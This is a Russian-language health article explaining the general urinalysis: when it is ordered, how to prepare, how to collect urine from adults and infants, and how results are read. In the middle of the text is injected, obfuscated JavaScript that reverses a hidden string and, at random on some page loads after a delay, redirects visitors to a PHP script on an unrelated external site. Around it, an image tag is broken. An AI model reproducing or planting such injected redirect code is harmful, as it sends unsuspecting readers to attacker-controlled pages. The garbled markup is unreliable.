Моча — биологическая жидкость организма, производимая почками. Чтобы собрать материал, нужна простая подготовка. Тогда характеристики мочи будут достоверными. В раннем детском возрасте имеются некоторые сложности со сдачей анализа. Однако с этим можно справиться благодаря смекалке и современным приспособлениям.
Содержание
Значение общего анализа мочи в диагностике заболеваний
Мочеобразование — важная функция организма, осуществляемая почками. Моча представляет собой воду с растворёнными в ней органическими и неорганическими веществами и клеточными элементами. Сбои в работе жизненно важных систем человека (печени и поджелудочной железы, органов желудочно-кишечного тракта, сердечно-сосудистой, дыхательной, мочевыделительной и половой систем) могут вызвать изменения этой биологической жидкости.
Общий анализ мочи (ОАМ) — один из самых простых и информативных методов лабораторного исследования. Благодаря его результатам врач может предположить наличие того или иного заболевания у пациента.
Показания для проведения исследования
Общий анализ мочи относится к обязательным методом обследования и назначается в следующих случаях:
- При прохождении профилактического медицинского осмотра:
- взрослыми — 1 раз в 2 года,
- детьми — в возрасте 2 и 12 месяцев, 3, 6, 7, 10, 15, 16 и 17 лет.
- Во время прохождения первого этапа диспансеризации — 1 раз в 3 года.
- При постановке беременной на учёт в женскую консультацию (первый триместр), а также во втором и третьем триместре. Внеочередные анализы назначают в случае предъявления женщиной жалоб или если есть хронические заболевания.
- При первичном обращении к врачу с целью выявления заболеваний или профилактики их возникновения.
- При подозрении на поражение почек и мочевыводящих путей. Об этом обычно свидетельствуют такие симптомы:
- боль и рези при мочеиспускании,
- болезненность и чувство тяжести в поясничной области,
- отёки на лице и веках,
- замечаемое больным изменение цвета или помутнение мочи,
- увеличение или уменьшение её количества.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5b28129c9f304-728×485.jpg» alt=»Контейнеры с мочой» width=»728″ height=»485″ /> Изменение характеристик мочи может быть проявлением заболевания
- Если врач предполагает инфекционное заболевание.
- Для контроля эффективности назначенного лечения исследуют общий анализ мочи в динамике. Если результаты остались без изменений или ухудшились, врач проводит дообследование или решает вопрос о смене лекарств.
Подготовка к исследованию
Для сбора мочи не требуется сложной подготовки, однако нужно соблюдать следующие правила:
- В течение 24 часов перед сдачей анализа не употреблять алкоголь и такие лекарственные препараты:
- мочегонные,
- активированный уголь,
- Варфарин,
- Рифампицин,
- Амитриптилин,
- Метронидазол,
- Нитроксолин.
- За день до исследования следует избегать половых контактов.
- Ограничить занятия физической нагрузкой за сутки до анализа.
- Не употреблять в пищу продукты, которые могут окрасить мочу, за 24 часа до исследования:
- свёклу, ревень (окрашивают в красный цвет),
- морковь (окраска становится оранжевой),
- спаржу (моча может приобрести зеленоватый оттенок).
- Уменьшить в рационе содержание мясных продуктов.
- Во время менструаций сдавать анализ не рекомендуется, так как это чревато попаданием эритроцитов в мочу и искажением результатов. Однако исследование допускается, если использовать тампон.
Правила сбора мочи
Материал для исследования собирается строго натощак — утром после сна. Это правило объясняется тем, что ночью моча меньше подвержена суточным колебаниям. Результат анализа собранной в другое время суток мочи будет менее достоверным.
Для сбора мочи используют стерильную тару. Для этого можно купить в аптеке специальный градуированный контейнер. Но если такой возможности нет, берут стеклянную баночку, моют её щёткой с мылом и стерилизуют на пару 5–10 минут.
Перед исследованием моют руки и проводят гигиену наружных половых органов. Их обмывают мылом и тёплой водой. Нежелательно использовать парфюмированные гели и лосьоны.
У женщин и девочек наружное отверстие мочеиспускательного канала и анальное отверстие расположены очень близко, поэтому интимная гигиена должна проводиться в направлении сверху вниз и спереди назад.
После этого приступают непосредственно к сбору материала. Примерно 1–2 секунды мочатся в унитаз (это первая порция мочи), затем — в баночку для получения средней порции, заканчивают мочеиспускание тоже в унитаз. Для большего удобства можно собрать материал в ванне или в душе.
Чтобы результаты анализа были полноценными, собирают около 50–70 мл мочи.
Например, при малом объёме материала невозможно оценить плотность. В бланке напротив этого параметра лаборант пишет «м/м», что означает «мало мочи».
Наполненный контейнер плотно закрывают крышкой и доставляют в лабораторию в кратчайшие сроки (не позднее 2 часов с момента сбора материала). Желательно сохранить исходную температуру, поэтому имеет смысл осуществить доставку как можно быстрее. Некоторые источники предоставляют информацию о том, что допускается хранить мочу в холодильнике ещё два часа. Однако в домашних условиях этого делать не следует: биоматериал может изменить цвет, в нём образуются соли или выпадает осадок.
Алгоритм сбора мочи у беременных ничем не отличается от общих правил.
Как собирать мочу у детей
У ребёнка старше трёх лет можно беспрепятственно собрать мочу. Проблемы обычно возникают у новорождённых, грудничков и детей 2–3 лет.
Нельзя использовать мочу из детского горшка, из выжатого подгузника или пелёнки. Такой биоматериал называют «грязным».
У детей первого года жизни популярным стало использование специального одноразового мочеприёмника из полиэтилена (можно приобрести в аптеке). Он состоит из липкой части (её крепят к половым губам девочки или к коже вокруг пениса у мальчика) и мешка-приёмника с градуировкой. После сбора материала надрезают мешок и переливают содержимое в стерильную тару.
Мочеиспускание у маленьких детей, особенно первого года жизни, сопряжено с приёмом воды или с периодом кормления грудью: оно происходит обычно в течение 10–15 минут после употребления жидкости. Поэтому начинать сбор материала нужно в этот промежуток времени.
Если приобрести мочеприёмник не представляется возможным, можно воспользоваться старым способом. Для сбора мочи у девочек берут простерилизованную тарелку и подкладывают под попу (ребёнок должен лежать на спине). При этом важно провести гигиену не только наружных половых органов, но и кожи ягодиц и внутренней части бёдер. У мальчиков используют новый полиэтиленовый пакет с ручками, которые разрезают и завязывают на бёдрах. Пенис должен находиться внутри пакета. При этом ребёнка лучше держать на руках во избежание проливания мочи. Полученный материал переливают в стерильный контейнер.
Этот способ имеет недостатки: иногда невозможно соблюсти абсолютную чистоту ёмкости. Это приводит к искажению результатов.
Если ребёнок умеет стоять, ходить или приучен к горшку, можно подкараулить процесс мочеиспускания и даже собрать среднюю порцию мочи в контейнер.
Для детского анализа мочи достаточно 10–20 мл жидкости.
Как пользоваться мочеприёмником — видео
Результаты исследования
В общем анализе крови оценивают следующие параметры:
- Цвет. В норме от соломенного до янтарно-жёлтого. При разных заболеваниях и состояниях может менять окраску от светлой до тёмной (например, моча цвета пива при желтухе за счёт пигментов, цвета мясных помоев из-за эритроцитов при цистите, пиелонефрите, красная или бурая — при почечной колике, светлая — при большом употреблении жидкости и насыщенная — при малом, чёрная — при анемии, характеризующейся массивным разрушением красных кровяных телец).
- Запах (должен быть нерезким).
- Прозрачность. Моча здорового человека прозрачная. Однако она может становиться мутной при длительном стоянии, при наличии гноя, слизи, бактерий, клеточных элементов (лейкоцитов, эпителия, эритроцитов), белка.
- Плотность (удельный вес). Показатель нормальной мочи находится в пределах 1015–1025. Он может быть изменяться при некоторых болезнях (повышен при сахарном диабете, снижен при несахарном диабете).
- Реакция (pH). Она равна 5–7 (от нейтральной до слабокислой). Сдвиг в кислую сторону может говорить о преобладании в рационе мясных продуктов, в щелочную — молочной и растительной пищи. Длительное изменение реакции мочи может приводить к образованию солей в моче, а в последующем и камней, что чревато развитием мочекаменной болезни. Кроме того, сдвиги pH могут наблюдаться при других заболеваниях.
- Количество мочи (диурез). Обычно составляет от 800 мл до 1,5 л. Объём зависит от количества выпитой жидкости и от состояния организма (например, у больных сахарным диабетом обильный диурез — может достигать десяти литров).
- Белок. Допустимое количество этого вещества в моче — 0,033 г/л. Это число белка, которое при исследовании не даёт положительной реакции. Поэтому в бланке напротив показателя необходимо писать «отрицательно». Белок в моче может обнаруживаться при хронической болезни почек, гломерулонефрите и других поражениях. Различают функциональную протеинурию, которая возникает, например, при физической нагрузке, лихорадке.
- Глюкоза. У здорового человека не обнаруживается, за исключением тех случаев, когда в пищу было употреблено избыточное количество простых углеводов (шоколад, конфеты, сдобные изделия) или внутривенно был введён концентрированный раствор глюкозы. Во всех остальных случаях глюкозурию следует расценивать как патологическое явление.
- Кетоновые тела (промежуточные продукты углеводного и жирового обмена). Обнаруживают в моче при длительном голодании, в том числе безуглеводном, неукротимой рвоте, сахарном диабете, повышенной функции щитовидной железы, высокой лихорадке.
- Билирубин (выявляется при желтухах).
- Уробилиновые тела (промежуточные продукты пигментного обмена). Их выявляют при желтухах, некоторых заболеваниях кишечника.
- Лейкоциты (белые кровяные тельца). В норме у женщин допустимо содержание 0–5 клеток в поле зрения, а у мужчин — 0–3. Увеличение выше этих значений называют лейкоцитурией. Такое явление характерно для воспалительных и инфекционных заболеваний. Лейкоциты могут появиться в моче и при недостаточно хорошем туалете наружных половых органов.
- Эритроциты. В нормальном мочевом осадке красные кровяные тельца не обнаруживают совсем или находят единичные (0–1). Наличие эритроцитов в моче называют гематурией.
- Эпителиальные клетки. В моче могут появляться разные виды эпителия (переходный, почечный и плоский), однако только последний в малых количествах (до 2–4 в поле зрения) не говорит о патологии.
- Цилиндры (слепки канальцев почек). В норме обнаруживаются только единичные (0–1) гиалиновые цилиндры после физической нагрузки. Патологические виды — эпителиальные, зернистые, эритроцитарные и большое количество гиалиновых.
Параметры общего анализа мочи могут меняться не только при заболеваниях, но и при некоторых физиологических состояниях (после физической нагрузки, при некоторых особенностях питания, недостаточном или избыточном употреблении воды) или неправильной подготовке к сдаче биоматериала. Поэтому нужно знать ряд моментов, которые позволят получить точный результат.
